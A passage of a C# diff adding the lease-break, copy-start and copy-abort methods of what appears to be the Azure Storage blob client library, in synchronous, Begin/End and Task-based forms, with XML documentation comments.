+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task ReleaseLeaseAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.ReleaseLeaseImpl(this.attributes, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Breaks the current lease on this blob.
+        /// </summary>
+        /// <param name="breakPeriod">A <see cref="System.TimeSpan"/> representing the amount of time to allow the lease to remain,
+        /// which will be rounded down to seconds. If <c>null</c>, the break period is the remainder of the current lease,
+        /// or zero for infinite leases.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="System.TimeSpan"/> representing the amount of time before the lease ends, to the second.</returns>
+        [DoesServiceRequest]
+        public virtual TimeSpan BreakLease(TimeSpan? breakPeriod = null, AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteSync(
+                this.BreakLeaseImpl(this.attributes, breakPeriod, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to break the current lease on this blob.
+        /// </summary>
+        /// <param name="breakPeriod">A <see cref="System.TimeSpan"/> representing the amount of time to allow the lease to remain,
+        /// which will be rounded down to seconds. If <c>null</c>, the break period is the remainder of the current lease,
+        /// or zero for infinite leases.</param>
+        /// <param name="callback">An optional callback delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginBreakLease(TimeSpan? breakPeriod, AsyncCallback callback, object state)
+        {
+            return this.BeginBreakLease(breakPeriod, null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to break the current lease on this blob.
+        /// </summary>
+        /// <param name="breakPeriod">A <see cref="System.TimeSpan"/> representing the amount of time to allow the lease to remain,
+        /// which will be rounded down to seconds. If <c>null</c>, the break period is the remainder of the current lease,
+        /// or zero for infinite leases.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An optional callback delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginBreakLease(TimeSpan? breakPeriod, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.BreakLeaseAsync(breakPeriod, accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to break the current lease on this blob.
+        /// </summary>
+        /// <param name="asyncResult">An IAsyncResult that references the pending asynchronous operation.</param>
+        /// <returns>A <see cref="System.TimeSpan"/> representing the amount of time before the lease ends, to the second.</returns>
+        public virtual TimeSpan EndBreakLease(IAsyncResult asyncResult)
+        {
+            return ((CancellableAsyncResultTaskWrapper<TimeSpan>)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to break the current lease on this blob.
+        /// </summary>
+        /// <param name="breakPeriod">A <see cref="System.TimeSpan"/> representing the amount of time to allow the lease to remain,
+        /// which will be rounded down to seconds. If <c>null</c>, the break period is the remainder of the current lease,
+        /// or zero for infinite leases.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="System.TimeSpan"/> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<TimeSpan> BreakLeaseAsync(TimeSpan? breakPeriod)
+        {
+            return this.BreakLeaseAsync(breakPeriod, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to break the current lease on this blob.
+        /// </summary>
+        /// <param name="breakPeriod">A <see cref="System.TimeSpan"/> representing the amount of time to allow the lease to remain,
+        /// which will be rounded down to seconds. If <c>null</c>, the break period is the remainder of the current lease,
+        /// or zero for infinite leases.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="System.TimeSpan"/> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<TimeSpan> BreakLeaseAsync(TimeSpan? breakPeriod, CancellationToken cancellationToken)
+        {
+            return this.BreakLeaseAsync(breakPeriod, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to break the current lease on this blob.
+        /// </summary>
+        /// <param name="breakPeriod">A <see cref="System.TimeSpan"/> representing the amount of time to allow the lease to remain,
+        /// which will be rounded down to seconds. If <c>null</c>, the break period is the remainder of the current lease,
+        /// or zero for infinite leases.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="System.TimeSpan"/> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<TimeSpan> BreakLeaseAsync(TimeSpan? breakPeriod, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.BreakLeaseAsync(breakPeriod, accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to break the current lease on this blob.
+        /// </summary>
+        /// <param name="breakPeriod">A <see cref="System.TimeSpan"/> representing the amount of time to allow the lease to remain,
+        /// which will be rounded down to seconds. If <c>null</c>, the break period is the remainder of the current lease,
+        /// or zero for infinite leases.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="System.TimeSpan"/> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<TimeSpan> BreakLeaseAsync(TimeSpan? breakPeriod, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            {
+                BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+                return Executor.ExecuteAsync(
+                    this.BreakLeaseImpl(this.attributes, breakPeriod, accessCondition, modifiedOptions),
+                    modifiedOptions.RetryPolicy,
+                    operationContext,
+                    cancellationToken);
+            }
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Begins an operation to start copying another blob's contents, properties, and metadata to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <param name="sourceAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the source blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="destAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the destination blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>The copy ID associated with the copy operation.</returns>
+        /// <remarks>
+        /// This method fetches the blob's ETag, last-modified time, and part of the copy state.
+        /// The copy ID and copy status fields are fetched, and the rest of the copy state is cleared.
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual string StartCopy(Uri source, AccessCondition sourceAccessCondition = null, AccessCondition destAccessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            return this.StartCopy(source, null /* premiumPageBlobTier */, sourceAccessCondition, destAccessCondition, options, operationContext);
+        }
+
+        /// <summary>
+        /// Begins an operation to start copying another blob's contents, properties, and metadata to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <param name="premiumPageBlobTier">A <see cref="PremiumPageBlobTier"/> representing the tier to set.</param>
+        /// <param name="sourceAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the source blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="destAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the destination blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>The copy ID associated with the copy operation.</returns>
+        /// <remarks>
+        /// This method fetches the blob's ETag, last-modified time, and part of the copy state.
+        /// The copy ID and copy status fields are fetched, and the rest of the copy state is cleared.
+        /// </remarks>
+        [DoesServiceRequest]
+        internal virtual string StartCopy(Uri source, PremiumPageBlobTier? premiumPageBlobTier, AccessCondition sourceAccessCondition, AccessCondition destAccessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.StartCopy(source, default(string) /* contentMD5 */, false /* syncCopy */, premiumPageBlobTier, sourceAccessCondition, destAccessCondition, options, operationContext);
+        }
+
+        /// <summary>
+        /// Begins an operation to start copying another blob's contents, properties, and metadata to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <param name="contentMD5">An optional hash value used to ensure transactional integrity for the operation. May be <c>null</c> or an empty string.</param>
+        /// <param name="syncCopy">A boolean to enable synchronous server copy of blobs.</param>
+        /// <param name="premiumPageBlobTier">A <see cref="PremiumPageBlobTier"/> representing the tier to set.</param>
+        /// <param name="sourceAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the source blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="destAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the destination blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>The copy ID associated with the copy operation.</returns>
+        /// <remarks>
+        /// This method fetches the blob's ETag, last-modified time, and part of the copy state.
+        /// The copy ID and copy status fields are fetched, and the rest of the copy state is cleared.
+        /// </remarks>
+        [DoesServiceRequest]
+        internal virtual string StartCopy(Uri source, string contentMD5, bool syncCopy, PremiumPageBlobTier? premiumPageBlobTier, AccessCondition sourceAccessCondition, AccessCondition destAccessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            CommonUtility.AssertNotNull("source", source);
+            this.attributes.AssertNoSnapshot();
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteSync(
+                this.StartCopyImpl(this.attributes, source, contentMD5, false /* incrementalCopy */, syncCopy, premiumPageBlobTier, sourceAccessCondition, destAccessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to start copying another blob's contents, properties, and metadata to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginStartCopy(Uri source, AsyncCallback callback, object state)
+        {
+            return this.BeginStartCopy(source, null /* premiumPageBlobTier */, null /* sourceAccessCondition */, null /* destAccessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to start copying another blob's contents, properties, and metadata to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <param name="sourceAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the source blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="destAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the destination blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginStartCopy(Uri source, AccessCondition sourceAccessCondition, AccessCondition destAccessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return this.BeginStartCopy(source, null /* premiumPageBlobTier */, sourceAccessCondition, destAccessCondition, options, operationContext, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to start copying another blob's contents, properties, and metadata to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <param name="premiumPageBlobTier">A <see cref="PremiumPageBlobTier"/> representing the tier to set.</param>
+        /// <param name="sourceAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the source blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="destAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the destination blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        internal virtual ICancellableAsyncResult BeginStartCopy(Uri source, PremiumPageBlobTier? premiumPageBlobTier, AccessCondition sourceAccessCondition, AccessCondition destAccessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return this.BeginStartCopy(source, default(string) /* contentMD5 */, false /* incrementalCopy */, false /* syncCopy */, premiumPageBlobTier, sourceAccessCondition, destAccessCondition, options, operationContext, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to start copying another blob's contents, properties, and metadata to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <param name="contentMD5">An optional hash value used to ensure transactional integrity for the operation. May be <c>null</c> or an empty string.</param>
+        /// <param name="syncCopy">A boolean to enable synchronous server copy of blobs.</param>
+        /// <param name="premiumPageBlobTier">A <see cref="PremiumPageBlobTier"/> representing the tier to set.</param>
+        /// <param name="sourceAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the source blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="destAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the destination blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        internal virtual ICancellableAsyncResult BeginStartCopy(Uri source, string contentMD5, bool incrementalCopy, bool syncCopy, PremiumPageBlobTier? premiumPageBlobTier, AccessCondition sourceAccessCondition, AccessCondition destAccessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.StartCopyAsync(source, contentMD5, incrementalCopy, syncCopy, premiumPageBlobTier, sourceAccessCondition, destAccessCondition, options, operationContext, token), callback, state);
+
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to start copying another blob's contents, properties, and metadata to this blob.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        /// <returns>A string containing the copy ID associated with the copy operation.</returns>
+        /// <remarks>
+        /// This method fetches the blob's ETag, last-modified time, and part of the copy state.
+        /// The copy ID and copy status fields are fetched, and the rest of the copy state is cleared.
+        /// </remarks>
+        public virtual string EndStartCopy(IAsyncResult asyncResult)
+        {
+            return ((CancellableAsyncResultTaskWrapper<string>)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to start copying another blob's contents, properties, and metadata
+        /// to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> StartCopyAsync(Uri source)
+        {
+            return this.StartCopyAsync(source, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to start copying another blob's contents, properties, and metadata
+        /// to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> StartCopyAsync(Uri source, CancellationToken cancellationToken)
+        {
+            return this.StartCopyAsync(source, null /*premiumPageBlboTier*/, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to start copying another blob's contents, properties, and metadata
+        /// to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <param name="sourceAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the source blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="destAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the destination blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> StartCopyAsync(Uri source, AccessCondition sourceAccessCondition, AccessCondition destAccessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.StartCopyAsync(source, sourceAccessCondition, destAccessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to start copying another blob's contents, properties, and metadata
+        /// to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <param name="sourceAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the source blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="destAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the destination blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> StartCopyAsync(Uri source, AccessCondition sourceAccessCondition, AccessCondition destAccessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            return this.StartCopyAsync(source, null /*premiumPageBlobTier*/, sourceAccessCondition, destAccessCondition, options, operationContext, cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to start copying another blob's contents, properties, and metadata
+        /// to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <param name="premiumPageBlobTier">A <see cref="PremiumPageBlobTier"/> representing the tier to set.</param>
+        /// <param name="sourceAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the source blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="destAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the destination blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> StartCopyAsync(Uri source, PremiumPageBlobTier? premiumPageBlobTier, AccessCondition sourceAccessCondition, AccessCondition destAccessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            return this.StartCopyAsync(source, default(string) /* contentMD5 */, false /* incrementalCopy */, false /* syncCopy */, premiumPageBlobTier, sourceAccessCondition, destAccessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to start copying another blob's contents, properties, and metadata
+        /// to this blob.
+        /// </summary>
+        /// <param name="source">The <see cref="System.Uri"/> of the source blob.</param>
+        /// <param name="contentMD5">An optional hash value used to ensure transactional integrity for the operation. May be <c>null</c> or an empty string.</param>
+        /// <param name="syncCopy">A boolean to enable synchronous server copy of blobs.</param>
+        /// <param name="sourceAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the source blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="destAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the destination blob. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        private Task<string> StartCopyAsync(Uri source, string contentMD5, bool incrementalCopy, bool syncCopy, PremiumPageBlobTier? premiumPageBlobTier, AccessCondition sourceAccessCondition, AccessCondition destAccessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            CommonUtility.AssertNotNull("source", source);
+            this.attributes.AssertNoSnapshot();
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.StartCopyImpl(this.attributes, source, contentMD5, false /* incrementalCopy */, syncCopy, premiumPageBlobTier, sourceAccessCondition, destAccessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Aborts an ongoing blob copy operation.
+        /// </summary>
+        /// <param name="copyId">A string identifying the copy operation.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        [DoesServiceRequest]
+        public virtual void AbortCopy(string copyId, AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            Executor.ExecuteSync(
+                this.AbortCopyImpl(this.attributes, copyId, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to abort an ongoing blob copy operation.
+        /// </summary>
+        /// <param name="copyId">A string identifying the copy operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginAbortCopy(string copyId, AsyncCallback callback, object state)
+        {
+            return this.BeginAbortCopy(copyId, null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to abort an ongoing blob copy operation.
+        /// </summary>
+        /// <param name="copyId">A string identifying the copy operation.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginAbortCopy(string copyId, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.AbortCopyAsync(copyId, accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to abort an ongoing blob copy operation.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        public virtual void EndAbortCopy(IAsyncResult asyncResult)
+        {
+            ((CancellableAsyncResultTaskWrapper)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to abort an ongoing blob copy operation.
+        /// </summary>
+        /// <param name="copyId">A string identifying the copy operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task AbortCopyAsync(string copyId)
+        {
+            return this.AbortCopyAsync(copyId, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to abort an ongoing blob copy operation.
+        /// </summary>
+        /// <param name="copyId">A string identifying the copy operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task AbortCopyAsync(string copyId, CancellationToken cancellationToken)
+        {
+            return this.AbortCopyAsync(copyId, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to abort an ongoing blob copy operation.
+        /// </summary>
+        /// <param name="copyId">A string identifying the copy operation.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task AbortCopyAsync(string copyId, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.AbortCopyAsync(copyId, accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to abort an ongoing blob copy operation.
+        /// </summary>
+        /// <param name="copyId">A string identifying the copy operation.</param>
